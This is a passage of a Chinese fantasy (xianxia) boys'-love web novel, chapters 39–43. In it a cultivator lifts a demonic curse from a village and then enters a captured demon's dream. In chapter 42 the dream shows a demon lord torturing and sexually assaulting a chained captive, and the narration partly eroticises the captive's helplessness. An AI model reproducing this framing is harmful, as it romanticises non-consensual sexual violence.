那就是被长老带进宗门之前?他独自在那座山上的时候,见过这样的尸体吗?不可能,那座山上要真有这些尸体,山下的村民又怎么可能一无所知?更何况安然无恙。
那就是更久以前了?他还待在仙尊身边的时候吗?他又想起了一些东西?他想起了多少?
那个阵法果然起了效果吗?不只是让他失去一部分记忆,也不只是让他记忆混乱,终于,终于还是让他想起了?
他昨天晚上一直盯着那片仙尊留下来的叶子看,就是因为其实那时候已经开始想起一些关于仙尊的东西了吧?
所以才会用那样专注又仿佛回忆而无可奈何的目光,注视一片仿佛普普通通的叶子那么久?那他对仙尊的感情一定更深了。
村长皱着眉头怀疑雪松是为了接近尸体而骗他,但又不知道那些尸体能有什么好处,以至于要别人这样骗他,想了想,看向周围的村民,村民们都望着他。
他收回目光,作出决定,对雪松说:“那你就来看看吧。”
雪松点了点头,从村民们分开的路中走了进去,靠近了那些尸体,找了一具最近的,蹲了下来,仔细查看,尸体上有诅咒的痕迹。
他认得这种诅咒,这是魔族的诅咒之一,他也知道这种诅咒的解决办法,要解除这种诅咒的影响,即使是对于他现在的修为,也是很简单的事,只不过看起来凶残一点。
所以解决问题的时候,身边最好不要有其他人,免得受到影响,反而加强了诅咒的力量。
他站起身对村长说:“请给我一间房子,再给我一点时间,不要让人打扰我,我很快就能解决你们的问题。”
村长皱着眉头,听了他说的话,觉得他更像是一个骗子了,因此犹豫着试探问:“那你要我们付出什么?”
雪松摇了摇头:“什么也不要。”
村长吃了一惊,如果为钱为物为人,他们都可以想想办法,也都可以证明,面前这个人不是突然发了好心要帮他们的忙。
可如果对面什么都不要,倒好像真的只是纯粹过来帮忙的,显得他以小人之心度君子之腹了,他倒不在乎这个,问题在于,天上真有掉馅饼的好事吗?这种事,真的存在?
该不会其实是,为了一口气把他们全都害死来的吧?因为目的是害死他们,所以什么都不要,因为怕被他们发现,所以要求不要打扰?听起来很合理吧?
“那我们能让人旁观吗?”村长十分警惕问。
“不行,”雪松摇了摇头,毫不犹豫拒绝,“我没有办法在被人旁观的时候解决问题。”
“能告诉我们究竟怎么解决吗?”村长觉得他十分蹊跷,试探问。
“不能,”雪松摇了摇头,“一般人知道也做不到,要是贸然尝试,反而容易出事故。”
村长想了想,事已至此,死马当活马医吧,反正什么都不用付,先试试再说,深吸一口气,对雪松说:“我会让人给你收拾一间屋子出来,不叫人打扰你,希望你真能为我们解决问题,但是,你的同伴怎么安排?”
“让他和你们一起在外面等我就好,”雪松回答,“我很快就会解决的。”
他看向长青问:“可以吗?”
长青是想和他一起进去的,但想他一个人在屋子里,应该不会有什么事,屋子外面又有那么多的人,好像是真来解决问题,不是为这里多添一具尸体的,犹豫着答应了:“好。”
屋子很快收拾出来,雪松走了进去,关上了门窗,检查了一番,布置了一个隔音阵法,开始解除诅咒。
先用血在房子里画一个解除诅咒的阵法,再掏出心脏,放在阵法中间,念诵解除诅咒的咒语,之后等待阵法生效。
制造诅咒的魔族暗中观察着村子的情况,发现村子里的中了诅咒的人居然有所好转,大惊失色。
“这是只有我们魔族才能够解开的诅咒,没有自己解开的办法,怎么会有魔族之外的人能够解开?这不可能!”
“你们看见刚才进去的那两个人了没有?其中一个长得和已经死去的仙尊简直一模一样!难道仙尊还活着?”
“仙尊死的时候大家都看见了的,不可能活着,但那个人确实和仙尊长得像,如果没有血缘关系,大约是巧合吧。”
“他的气息和解除诅咒的力量是一致的,他就是解除诅咒那个人!他究竟是从哪里知道解除诅咒的办法的?他不是魔族!”
魔族们面面相觑,忽然意识到一件事,不由得倒吸一口凉气——
魔尊还在的时候,因为与仙尊为敌,所以格外仇恨与仙尊长得相似的人,但凡遇到了或者听说有谁遇到了,都必定要抓起来,关进寝殿底下的地下牢房,日日夜夜狠狠折磨一番,才勉强满意,沾着一身血腥味,慢条斯理走出来。
这次他们遇到的这个解除诅咒的人和仙尊几乎一模一样,当初魔尊活着的时候,要是见了他这样的人,必然不可能放过。
他们从前又没有见过这样的人,又没有听说过这样的人,但是魔尊死了之后,这个人就突然冒出来了,可想而知,这个人那时候要是活着,绝对在魔尊的地下牢房里。
如果他是从魔尊那里得知诅咒的解除办法,那就没什么可奇怪的了,毕竟,魔尊知道魔族的诅咒很正常,知道诅咒的解决办法也很正常,在把讨厌的人关进地下牢房之后,觉得这个人根本不可能离开,而随口说了解除诅咒的办法,也不是不可能。
魔族们想到这一点,立刻打算去找当初,在魔尊座下的长老求证。
长老听他们说了前因后果,懒散的神色逐渐转为若有所思,随后挑了挑眉,露出兴致盎然的微笑,面带回忆道:“魔尊当初确实到处搜集和仙尊长得像的人,找到了就抓起来,关进寝殿下方的地牢里,就为了随时随地想起来都可以去折磨,搞死了不知多少。
但魔尊究竟有没有把诅咒和解除诅咒的办法告诉关在地牢里的人,我就不知道了,毕竟,那也是个隐蔽地方,只有魔尊才去的。”
底下几个魔族将信将疑,若有所思的样子。
长老忽然笑道:“不过,魔尊曾经为了报复仙尊而制作过一个和仙尊一比一的人偶,也关在地牢里,想起来了就去见一面。
比起去见地牢里的其他人,可频繁多了,最重要的是,那个人偶的生命力,比活人顽强多了,说不定现在还活着,也许就是你们见的那个呢?”
底下的魔族们猛然一惊。
这么说,他们看见的那个,几乎和仙尊长得一模一样的修士,果然是因为和魔尊有关系,才会知道诅咒的解决办法吧?!
“既然你们见到了他,”长老若有所思,笑了笑,“我交给你们一个任务吧,你们去跟踪他,看看他究竟要做什么,毕竟,他好歹是曾经的魔尊亲手制造出来的,就这么放在外面不管,似乎也不太好,是不是?”
底下的魔族们立刻接了这个任务,表示现在就去跟踪,一定藏得好好的,不叫人发现,非要看看,那个人偶究竟要做什么。
长老满意点了点头,微笑道:“那就去吧。”
魔族们转身离开。
第40章
解除了诅咒的雪松, 收拾了一下房子里的血迹和自己身上的伤口,整理了衣服,推开门走了出去, 村子里的诅咒已经被驱散了。
等在外面的村长十分激动, 杵着拐杖感谢他:“要不是你,我们还不知道要受这些折磨受多久, 时间也晚了, 请留下来住吧!我们已经把最好的房间收拾出来了!为了庆祝,我们打算今天晚上开篝火晚会!一起参加吧?人多热闹嘛!”
雪松是想走的, 但想了想对面这么热情,自己身上又带着伤, 赶路也赶不了多快, 反而容易被长青发现不对, 长青本来就怀疑他要做什么似的, 真要是被长青发现他身上有伤,只怕, 又要胡思乱想了。
犹豫之后, 雪松答应说:“那就恭敬不如从命了。”
村长笑呵呵点了点头:“好好好!今天晚上我们村就杀年猪来庆祝庆祝!大家也好好吃一顿,补补身体!大难不死必有后福啊!”
村民们笑着点了点头,欢呼雀跃起来。
长青皱着眉头往周围望了望,他之前莫名觉得周围有人窥视,而且似乎是魔族,因为他察觉到了一丝魔气, 但是那丝魔气只是波动了一下就消失了,好像附近窥视的魔族也跑走了,他不确定是不是自己感觉错了。
本来只当做没有发现也就算了,可就在刚才他又感觉到那种暗中的窥视, 这让他汗毛倒竖,他往人群里看了一圈,没看出破绽,那么,偷窥的多半在更远的位置。
他想劝雪松尽快离开,但当着村子里众人的面又不好开口,只能等到村民们把他们请到早就收拾干净的屋子里坐下,为了准备篝火和晚餐逐渐散去,屋子里只剩下他和雪松,才试探着问:“你真要留在这儿?吃了饭过了夜才走?从前我没发现,你还喜欢这些?”
雪松挑了挑眉:“我不能喜欢?”
长青被哽了一下。
雪松对他笑道:“盛情难却,你要是着急可以先走,等我过了夜再去赶你,只要你的速度不是太快,也许我们在路上还能再见,或者,我稍微慢一些,那你在目的地等我就好,只要你给我一张定位符,我总找得到路的。”
长青皱着眉头,有些烦躁:“我不是着急这个。”
“那是为什么?”雪松看着他问。
“我感觉有人,”长青往周围看了看,布了个隔音阵法,对雪松低声道,“在暗处看着我们,之前以为是错觉,但现在看来不是,你没感觉到吗?”
雪松若有所思,这个村子中了魔族的诅咒,想也知道和魔族脱不了干系,不过村子里似乎没有魔族的人也就算了,现在长青感觉到注视,那多半是暗中窥探的魔族了?
他们胆子居然这么大吗?暗中下了诅咒,被发现之后不仅不跑,还留下来?他们该不会是觉得,能解除诅咒的都是魔族人,所以他也是魔族,路过来解除了他们布下的诅咒,只不过是为了在修士面前装样子?
“你这么一说,似乎确实有些,”雪松不想和长青仔细讨论这个问题,含糊其辞道,“不过他们只是偷窥,而没有做什么,大概心有顾虑,不用太担心。”
长青感觉他的态度有点奇怪,将信将疑,点了点头,决定观察一番,顺着他说:“那好吧。但你今天晚上还是少喝些?”
雪松点了点头:“我知道。”
长青没有再说什么。
夜晚来临,篝火搭好,人们围绕在空地上,手拉着手载歌载舞唱唱跳跳起来,气氛十分融洽,厨子兢兢业业,食物的香气从不远处飘来,闻起来十分新鲜可口,使人迫不及待。
村长端着酒杯带头,感谢了雪松和长青前来提供的帮助,将杯中酒一饮而尽,随后邀请大家一起吃东西。
雪松对食物没什么兴趣,更何况以他现在的修为,不吃不喝也不会死,因此他浅尝辄止,动了两筷子,就停了下来,往杯子里倒了一杯水,开始打发时间。
这个时候大家已经高兴起来了,没之前那么注意他了,他把杯子放下,转头回了村长安排给他的房间,关上门,准备早些休息,方便养伤。
可是刚过没一会儿,他就察觉有人在门外徘徊,一开始以为是长青,后来发现不对,因为门外不是长青的气息。
他警惕起来,村民们这个时候应该都在空地上,长青又没过来,那门外徘徊的人是谁?徘徊而不进来,心里有鬼?是魔族的人?
他们想干什么?他假装没有发现,仍旧闭着眼睛躺在床上,好像已经睡过去了,实际上悄悄在系统仓库里翻找出了,当初从魔族那边缴获的战利品,一颗防魔珠。
这颗珠子的作用是让魔族的咒语对珠子的拥有者失效,如果门外真是魔族,现在用这个东西再合适也没有了。
门外响起了一阵念咒的声音,声音含糊而低,隔着窗户几乎听不见,但能量波动传了进来,显然门外之人的目标是雪松。
雪松躺在床上感受到了咒语的能量波动中所蕴含的魔力,确认门外就是魔族,辨别了一下咒语的用处,发现这是一个使人昏睡的咒语,握着珠子,暗中给自己加了一个清醒咒,保证不会因为意外昏睡过去,同时一动不动躺在床上,假装咒语已经生效。
门外的人观察了一阵,发现他没有动静,似乎真的已经完全睡着了,才悄悄从门外溜了进来,站在床边看了他一会儿。
他正疑惑,这人究竟要干什么,就听那人在他床边又念起咒来,这一次的咒语,作用是有问必答。
他迟疑了一下,从床上坐起来,听见那个下咒的魔族问:“你和魔尊是什么关系?”
这还能有什么关系?当然是仇人关系了!他为居然有魔族大半夜到他床边来问他这个问题而感到震惊。
他毫不犹豫,捏了个瞬发的束缚诀,用一道金光把魔族捆了起来,魔族猛然一惊:“你居然不曾受到咒语的影响?”
不是魔族,但是不会受到咒语的影响,这几乎是不可能的事,除非,对面有堪称魔族宝物的,防魔珠。
可是防魔珠那种东西在很久以前就失传了,有人说最后一颗防魔珠被魔尊收藏进了宝库,有人说曾经见过防魔珠被仙尊拿走,但仙尊魔尊都已经死了,毫无疑问,他们是不可能突然复活的。
那如果还有人拥有防魔珠,不是从仙尊那里得到的,就是从魔尊那里得到的,和其中任何一个人的关系也绝对不可能是普普通通!
因为普通关系根本不可能得到这种宝贝!
除非去偷去抢,但是人都死了,上哪儿抢去,就算想偷也得知道在哪儿,如果关系不好又怎么可能知道别人把宝贝放在哪儿?
更何况,就凭面前这人和仙尊长得几乎一样的脸,不管是面对仙尊还是面对魔尊,对面大约都不可能无动于衷,给宝贝倒也不是不可能。
“你果然和魔尊有关系!”被捆起来的魔族瞪大眼睛,禁不住喊了出来。
门外寻找雪松路过的长青,听见屋子里的声音顿了顿,脚步一转又走了回来,站在门外,不知里面是个什么情况,有些犹豫要不要敲门。
“我和魔尊当然有关系,”雪松嗤笑道,“仇人关系罢了,还能有什么?”
长青若有所思。
雪松果然想起了曾经的事,连和魔尊有仇都记起来了?以他现在的年纪,他这辈子根本没见过魔尊,哪里来的仇呢?那就只能是从前他在仙尊身边的时候了?
从前根本没有人听说过他,仙尊把他保护得很好,那他是怎么和魔尊结仇的?总不能是因为仙尊和魔尊有仇,所以他和魔尊有仇吧?如果是这样,怎么会有仙尊以外的人,知道他和魔尊有仇这件事?
被捆起来的魔族摇了摇头,虽然身处下位,却莫名有股居高临下的感觉,傲然看着他,好像被捆起来的其实是他一样,甚至带点怜悯说:“你承认了?你就是魔尊当年关在地牢里,亲手制作出来的那个人偶?”
“就凭我这张和仙尊一模一样的脸,你怎么说得出这种话?”雪松倒不知道有这么一回事,但更倾向于对方脑子坏掉了,因此挑了挑眉问。
“正是因为你和仙尊一模一样,我才这么说,”魔族把他上下打量了一番,闭上眼睛像曾经在魔尊面前祈求饶命一般,有种诡异的战栗,“看来你全都忘了,这也难怪。”
魔尊的手段从来都恐怖至极,寻常魔族在他面前都不得不匍匐,要是被他关在地牢里,日夜和他相对,受他发泄怒火的痛苦折磨,一旦有机会,恨不得全忘了,也是人之常情。
雪松不了解魔尊的事,但非要跟他理论一番:“难怪什么?你凭什么这么说?有什么证据吗?”
魔族恍恍惚笑了一声:“魔尊的防魔珠在你手里,就是证据!”《 》
40-50
第41章
雪松一下子陷入了沉默。
他手里的防魔珠确实曾经是魔尊的, 但他拿到这颗防魔珠并不是魔尊送他的,而是他打败了魔尊,自己拿的。
魔族看他沉默, 反而愣了一下, 虽然觉得自己想的是真的,但看他默认一般的表现, 还是吃了一惊, 受到了极大的冲击,更加恍惚起来。
他果然是魔尊当年亲手制作的人偶!如果不是, 他为什么不反驳?他说不出来了!这么说,他手里的防魔珠竟然真是魔尊给的?
魔尊居然把这种东西给他, 凭什么?凭他是阶下囚, 还是凭他像仙尊那样的脸, 又或者凭他是魔尊亲手制作的人偶?说不通。
难道是因为魔尊不想把他放出地牢, 他又不愿意待在那里,为了安抚他, 魔尊才把防魔珠给他?
魔尊那样肆意妄为的人, 手握权柄,占据高位,睚眦必报,对阶下囚有什么安抚的必要?
除非,他们并不只是主人和人偶或者主人和阶下囚的关系,那还能有什么?
难道魔尊和这张脸日夜相对, 起了戏弄的心思,人偶为了讨好他,也为了少受些苦,顺从他的意志, 就做了他的玩物?
他们——
他们,是主人和金丝雀的关系?!!!
魔族的眼角抽了抽,神色逐渐古怪起来,因为他不由自主,开始想象,当初魔尊究竟是怎样面对眼前的人,才会把东西给出去。
雪松从他的表情里察觉到他好像在想什么自己不想知道的东西,考虑到之前的问答,如果被人知道,多半会加深误会,对自己造成影响,不如暂时不问,立刻把他打晕了过去。
他本来就被捆住,又在恍惚之中,注意力也不集中,连身体本能的躲闪都没有,一点反抗也来不及,就晕倒在地上,砰的响了一声。
雪松忽然注意到,门外似乎有个影子站着,不知道是谁,但看起来有些眼熟,想来这个时候也不会有别人站在他门口。
他三步并作两步冲过去,一把拉开了门,门外神色震惊的长青正站在那里,一个想要靠近又想要离开的姿态,十分纠结的样子。
雪松侧身站在门口,面色十分平静,好像只是在看鱼缸里游动的金鱼,而不是发现有人偷听自己屋里的动静,有种使人下意识听从的命令感,看着他说:“来找我吗?请进吧?”
那种感觉十分熟悉,微妙的居高临下,久违的冷,强大力量所带来的镇定,定海神针般的存在,像是仙尊,但如果带着本来对仙尊的印象来看面前的人,又会觉得不像。
长青来不及过多思考,顺着雪松的意思走进了屋子,进去之后,才突然反应过来,他其实不该进来,因为假如含糊其辞,装作刚刚来到附近的样子,雪松大概是不会和他计较的。
但如果他进来,那就等于认了自己是之前就在这儿,也就等于告诉雪松,他确实听见了刚才屋子里的对话,知道了一些仿佛不该知道的东西。
他并不担心雪松会对他杀人灭口,毕竟,他现在的修为还是稍稍高于雪松的,他们又是同门师兄弟,看在那点浅薄的情谊上,雪松应该不会对他动手,上面还有长老宗主,不可能为所欲为,更何况,雪松也不是杀人如麻的类型。
可是和雪松共处一室,尤其适合仿佛刚刚才知道了一些连自己都不知道的东西的雪松共处一室,他还是控制不住有些紧张。
不管是因为雪松这张仙尊一样的脸,还是雪松几乎板上钉钉的仙尊道侣的身份,又或者是,他刚才听见的雪松和魔尊的纠葛。
长青站在原地缓缓转过身去,感觉喉咙里有一块大石头,怎么也吞不下去,心脏怦怦狂跳,不知是因为紧张还是因为兴奋。
他注视着已经把门关上的雪松,猜测着雪松可能对他挑起的话题,尽可能保持面上的平静,心里纷繁杂乱的思绪已经如一层又一层的海浪般,堆叠在一起又破碎开来,分不清最开始是什么。
即使如此,他还是努力思考着,他应该如何回答雪松可能对他提出的问题。
雪松往前走了一步,他猛然一颤,像只即将跳起来的兔子,往后退了一步,拉开了距离。
雪松停在原地,挑了挑眉,他意识到自己的反应有些过度,无可奈何笑了一下:“你有什么事要找我?”
“难道不是你有事要找我?”雪松看着他问:“不然你怎么会在我房间门口呢?”
他沉默了一会儿说:“我看那边挺热闹的,大家都在,你不在,不知你做什么了,出来找你,只是路过你门口而已。”
雪松仿佛是信了,点了点头:“那你刚才都听到了吧?”
长青迟疑着说:“算是吧。”他顿了顿,还是忍不住想为自己辩解:“其实也没有听到很多,我是后来才来的,一开始不知道。”
雪松似笑非笑注视着他,倒了一杯水问:“后来是什么时候?一开始又是怎样?不说清楚,我也不知道你说的是什么。”
长青紧张得心脏怦怦直跳:“一开始?”他舔了舔嘴唇,眼神飘忽,顾左右而言他,支支吾吾道:“我不太记得了,我不知道,我怎么会知道?那会儿我不在呀。”
雪松笑着点了点头,把水递给他:“那你从什么时候开始听的?”
他伸手接过那个杯子,不太敢去看雪松的脸,转着目光,犹豫着说:“这个也不太记得了。”
“那你记得什么?”雪松站在他旁边看着他,像阳光下即将被晒化的雪人一样。
他莫名觉得有点冷,虽然知道雪松不会杀他,但还是感觉到了一股杀气,打了个哆嗦说:“我好像听见屋子里砰的一声响,我以为有什么事儿呢,差点就要敲门了,结果你先开了门,把我看见了,其实真没听见什么。”
雪松笑了笑:“是吗?可我看你在那站了有一会儿了。”
“怎么可能?!”长青脱口而出,瞪大眼睛:“你没开窗也没开门的!”
雪松笑着拍了拍他的肩膀,像叼着一根蛛丝从屋檐上悬空垂下来的蜘蛛一样,轻飘飘问:“看得很仔细啊!一定都听见了吧?”
长青迟疑着,不知该说什么,脑子里确实是一团浆糊,过一阵子冷静了,或许会想起来,但现在,他叹了一口气:“听见了一些。”
雪松点了点头,不置可否道:“那我能请你帮个忙吗?”
“什么?”长青努力勉强集中注意力,总算看向他,心脏仍然怦怦乱跳问。
“我不知应该怎样处理这个魔族,”雪松抬了抬下巴,向长青指了指地上被捆住的人,神色平静说,“你一定有处理经验吧?我怕他醒过来就跑了,也担心村子里的人知道他,会情绪不稳定,跑过来闹,不好收场,你觉得应该怎么办才好?”
长青看着那皱着眉头昏迷不醒的魔族,能感觉到这个魔族似乎正在自己想象力构建的幻梦里,忽然想,他虽然不了解魔尊,但魔族的人肯定比他了解魔尊,刚才又说了那么惊人的话,一定知道些什么,清醒着问,不一定答,可现在昏迷了,在梦里,总不能也全是假的吧?不如趁此机会,探究一番。
兼听则明,偏信则暗嘛。
不能总靠自己胡思乱想,也得看看别人是怎么想的,不同的人知道的事情不一样,就算看回忆的角度也未必相同,哪怕全是假的,也可以满足他的好奇心。
更何况,梦里总是不那么设防,如果运气好,也许在梦里看见的东西,全都是真的,那能知道的东西可就多了!
雪松注视着长青,长青抬起头来说:“今天时间晚了,这个人先放在我那里吧?我替你看管着,这样安全些,你也可以休息,明天,把他藏起来,免得被村民们看到,之后我们离开这里,我再找宗门的人过来把他带走?”
雪松点了点头,同意了他的办法,但是说:“你把他带走,我反而不安心,不如你就在这看着他,今天晚上也待在我这儿,不管我休不休息,睁开眼睛就能看见他,既不用担心他逃跑,也不用担心他跳起来报复,两个人也比一个人不容易出错些,是吧?”
长青犹豫了一下,答应了:“好。”
雪松点了点头:“那就交给你了,我去里面休息一下。”
长青看着雪松躺回了床上,等了一会儿,没听见什么动静,确认雪松不会突然睁开眼睛,背对着他,悄悄念起咒来。
念的是入梦咒,入的是面前这个被捆住昏迷不醒的魔族的梦,长青今天晚上非要看看,这个人在梦些什么不可。
一入梦中,长青就给自己施了隐身术和隐匿咒,避免被梦境之中的人看见,也避免气息泄露,导致梦境动荡。
之后,他开始打量周围的环境,这是一座暗紫色的宫殿,充斥着浓郁血腥味和魔族的气息。
第42章
一阵风从外面吹进来, 浓郁的血腥味被打散了,像是一团半凝固的血水被倒入了滚烫的开水锅中,几乎瞬息间旋转起来。
长青敏锐发现了这些血腥味, 最后的归处向着那个方向走了过去, 发现那里有一道门,他从这道门往里走去, 底下是一段台阶。
走过这段阶梯, 是阴森幽暗的漆黑色地牢,地面是用石子和石砖做的, 幽绿色的青苔从缝隙里爬出来,像是地狱里的冤魂, 有种诡异的色泽。
长青顺着这段路往里走去, 道路两边都是牢房, 每一个房间里都沾满了血腥, 有些刚刚清理过,看起来干净些, 有些似乎废弃了, 蒙了一层灰,有些刚刚使用过,整个房间都是猩红色。
地面越发潮湿起来,像走在柔软的舌苔上,有怪兽正张着嘴等待食物顺着喉管往下落,不存在的胃已经开始咕咕叫了。
长青顿了顿, 有些怀疑自己走错了,想要转身离开,但就在这个时候听见了不远处传来的,极其耳熟的闷哼声。
他愣了一下, 辨认出那声音,是雪松的,加快脚步走了过去,停在了一间牢房门口,门是开着的,房间里布置着层层叠叠的阵法,保证待在里面的人会遭受到足够多的折磨和痛苦,受了伤,也不会立刻自愈,甚至会被拖得更久,运气差一点,说不定会眼睁睁看着自己的伤口,一点一点长出蛆虫来。
长青倒吸了一口凉气,往前走了两步,站在门口,仔细往里一看,雪松被铁链捆在十字木架上,披头散发,衣衫凌乱,垂着眼睛,眼中漆黑一片,看不出神色,只觉得可怕,像是已死的冤鬼借尸还魂;
眼眶有些发红,仿佛是在忍耐什么,又仿佛是刚刚哭过,湿漉漉的,甚至有些微妙的不明显的肿胀,这并不影响他的容貌,反而使他整个人平添了一丝脆弱的气息,像一只布满裂痕的水青色瓷碗,波光荡漾,柔弱坚韧,让人想要试探试探他究竟到什么程度才会崩溃,一种不可说的充满诱惑的吸引力;
眼下乌青,大约是日日夜夜都不曾好好休息过,才会积累如此重的颜色,这也难怪,阴暗潮湿又不见天日的地方,浑身上下都被捆着,还不能躺下,谁会在这种地方睡着?谁敢呢?
站在雪松面前的人背对着地牢房间的门,但浑身上下的魔气,足以证明他的身份——
他应该就是那个现在已经陷入昏迷的魔族口中无法无天的魔尊。
魔尊的穿戴算不上整齐,因为衣领大敞开着,脖子上挂着长条的银链,看起来有一种不修边幅的感觉,但是,一层里衣,一层外袍,以及那张姣好的脸,又将他传递给人的糟糕印象拯救了一些,仿佛只是天性风流,所以比别人洒脱罢了。
尤其当他面对的,是个只有一层松松垮垮似乎不合身的白色单衣的雪松的时候,显得更正经了一些,雪松倒因此被衬得像是勾引。
不过在受制于人的情况下,雪松大概是不能决定自己要穿什么的,说不定只有那一件衣服,也只能穿那一件。
真要论起勾引这件事来,多半是魔尊想要让雪松看起来像是在勾引自己,才让雪松穿着那件衣服,或者说保留,而非雪松自愿。
长青不由自主摇了摇头。
雪松身上的伤密密麻麻,有已经结痂的,也有已经变成疤的,还有正在流血的,当然也有刚刚发红的,一层叠一层,像爆发了一阵又一阵的长条的被抓烂了的荨麻疹,看起来几乎有些可怖。
衣服虽然遮了一部分伤口,但那毕竟也只是一层,更何况,那件衣服真的很薄,就像是被夏季的烈日晒得浑身出汗才会不得不在自己家院子里穿的,手脚脖子都是毫无疑问会被露出来的。
那上面不仅有密密麻麻的伤口,还有各种各样的牙印和吻痕,有新鲜的也有不新鲜的,就像其他类型的伤口一样。
长青皱着眉头,倒吸了一口凉气。
在他来之前,地牢里除了雪松和魔尊就没有第三个人,那牙印多半是魔尊留下的,吻痕也不出意外。
看那些痕迹令人惊讶的数量和深浅不一的重叠程度,还有雪松现在这种见怪不怪的反应,魔尊大概早就对雪松下手了。
也不知究竟做过多少次才会有这么多这么深的痕迹,看雪松脖子上最轻的那一道牙印留下的痕迹,可以判断是今天早上刚留下的。
魔尊这个畜生!难道每天都这么做吗?他以为,他面对自己亲手制作的人偶,就可以如此不知轻重?!太过分了!!!
长青有心想冲上去帮忙,但也很清楚这是个梦境,而且他还不是梦境的主人,如果,强行要干扰这里的一切,恐怕会令梦境直接破碎,梦境主人提前醒来,不仅对他不安全,也会影响到外面那个魔族的精神状态和身体情况,实在得不偿失。
更何况,他才进来找到人,还没看见什么,立刻就打破梦境出去,岂不是白来了?他想了想,觉得不划算,也就按耐住了。
魔尊不知从哪里摸出了一把漆黑色的扇子,拿着扇柄用扇尖,挑开了雪松身上那件松松垮垮的白衣,看了看他的胸膛,他的胸膛上也密密麻麻,都是伤痕,但和别的地方有一点不一样,那就是心口的位置——
有一条手术般的刀疤,好像他的心脏曾经被人取出去过,刀疤上还覆盖着缝线,精致得有些过分专业了,仿佛专门研究过,怎么才好看,不像是随便缝的。
长青定睛一看,那线看起来有点眼熟,他想了想,忽然想起来了,那缝线歪起来看,是魔尊的印记。
魔尊真是!好霸道的占有欲!好强烈的折磨心!连别人心口的皮肤也要占有,刻下自己的印记!真是令人叹为观止!
长青握着拳头,义愤填膺,正当他以为魔尊下一步是对雪松开口说点什么或者下咒的时候,魔尊却忽然用扇子挑起了雪松的下巴,直接亲了上去,亲得啧啧作响,好像恨不得谁听见似的,有一瞬间,长青几乎以为自己被发现了,但他仍然记得这是一个梦,他不应该被发现才对。
他咬着牙挪开了目光,觉得自己出去之后应该洗洗眼睛。
平心而论,不管是雪松还是魔尊的脸都是好看的,毕竟一个是精心制作的人偶,一个是修为高深的魔族,好看是正常的,但是,魔尊简直像个牲口,一边收了扇子,按着对方的后脑勺,一边往前贴,不知什么时候,便把对方的衣服一挑,一件轻薄的白衣就落在了地面上,哪怕已经沾了许多的血迹,但在这暗黑潮湿的地牢里,还是十分显眼,如同一轮弯钩白月,坠入暗潮汹涌的深海。
雪松现在已经□□了,但魔尊仍然没把他从十字木架上放下来,好像确实只把他当做一个人偶,真叫人不知道高兴好还是不高兴好,长青感到心情复杂,默默把头往远处更偏了偏。
但挪开目光,只是看不见了,不是听不见了,他还没有堵耳朵,牢房里的声音一点一点传出来,像一层一层拍在岸上的海浪,在金黄的沙滩用蓝色的水撞出白色的泡沫,泡沫里藏着五颜六色的贝壳,贝壳里含着圆润的珍珠,一种混乱又诡异和谐的声音。
湿漉漉的眼泪,乱糟糟落在地面和皮肤上,也有融进衣服里变作深痕的,沉默中的哽咽,断断续续的抽泣,甚至简直有些令人毛骨悚然的,温柔的无可奈何的叹息。
长青几乎可以凭声音想象出里面究竟是什么情况。
魔尊抱着雪松,雪松在哭,眼眶红红的,脸颊湿润而苍白,像多年前发生意外沉入海底的幽灵船中的珠宝忽然在滔滔的海浪里重见天日,嘴唇一定是鲜红的,像是刚刚饮了一口滚烫的血。
魔尊在这种时候,充斥着欲望得到发泄后的放松,脸上大约是懒洋洋的餍足的神情,一边用手摩挲那些被他亲手留下的凹凸不平的疤痕,一边悄无声息,挖开新鲜的伤口,从里面得到更新鲜的血,闻着血腥味,把血涂抹在雪松不着寸缕的皮肤上,贴着雪松的身体,感受对面的惊恐和颤抖,品尝着对面无可逃脱的顺从,享受自己仿佛把仙尊碾压在身下的快感——
对魔尊而言,这大约是最值得快乐的事了,毕竟,在这宫殿之外,魔尊从来没有对仙尊做成过这种事。
仙尊和他做的人偶,毕竟不一样。至少从实力上,仙尊强多了。魔尊很清楚。这大概是他制作人偶的原因之一。
在一阵漫长的等待之后,长青看见,魔尊把人偶从十字架上解下来,抱在怀里,踹开了牢房的门,踩过湿漉漉的地面,顺着台阶,进了寝殿,把人放在了那张极其柔软宽大的床上。
轻纱般的床帘正随风飘动。
第43章
梦境在此结束了, 长青忽然察觉有人靠近,猛然一惊睁开眼睛,发现雪松不知什么时候坐在了旁边, 正端着一杯水望着他。
“你不是休息去了吗?”长青刚刚从那样绮丽昏暗的梦境中出来, 就看见梦境中戏份极重的其中一个人,心脏狂跳, 下意识绷起了脸, 一边庆幸自己似乎并没露什么破绽,一边故作镇定问。
“已经休息好了, ”雪松不知是看出来了,还是没看出来, 对他微笑, “后半夜我来守吧?量他也跑不了。”
长青推辞说:“还是我来吧。”
雪松摇了摇头:“之前说好的。”
长青迟疑了一会儿, 觉得自己要是继续坚持下去, 有些太奇怪了,答应下来:“那好吧, 拜托你了。”
他点了点头, 向不远处的床铺走去,盘腿坐着,看了雪松一眼,开始入定,没多久就开始胡思乱想,心情烦躁, 不得不给自己施了个沉睡术,立刻睡了过去。
雪松见他把眼睛闭上,坐在原位想了想,对他施了个入梦术, 想看看他听了魔族之前说的那些话,究竟在想些什么。
他的梦里仍然是那阴森黑暗的宫殿,墙上燃着幽幽的鬼火,床上的轻纱垂下来,衣衫不整的魔尊正与不知从哪儿来的仙尊对打。
两个人从一边打到另外一边,全力以赴的同时,又有一种微妙的克制,仿佛他们都顾忌着,在这里而没有参加战斗的那个人。
雪松看见床上似乎有什么东西,弯着腰缩成一团瑟瑟发抖,好像一只被雨淋湿的小鹿,若有所思,向那边靠近。
他定睛一看,立刻看出床上的人和他长着一模一样的脸,他很确定这个世界上不应该有第三个人拥有这张脸。
那么毫无疑问了,这应该就是,长青梦中给他的身份,只不过,床上这个人看起来除了那张脸,一点也不像他,不管是身上的皮肤还是衣服,又或者是神色性格,和他根本两模两样。
就算床上那个人站在他的身边,穿着一模一样的衣服,把浑身上下的伤口都遮得严严实实,就凭他们脸上的神色,也绝不会混淆。
旁边的战斗忽然停了,雪松转过头去看,仙尊站在魔尊面前,拿着剑冷着脸,对他说:“原以为你好歹算个枭雄,现在看来你不过是个下贱的畜生,竟只知道思春,可叹可笑可恨!该死!”
“别装得这么冠冕堂皇好吗?”魔尊嗤笑了一声,像条蛇似的软绵绵靠在墙上,目光梳子似的将他上下打量一番,摇了摇头不屑道:“你别以为我不知道!你过来,既不是为了为民除害,也不是为了消灾解难,只是想多管闲事罢了!”
“既然知道,还不把人交出来?”仙尊毫不客气剑指着他问。
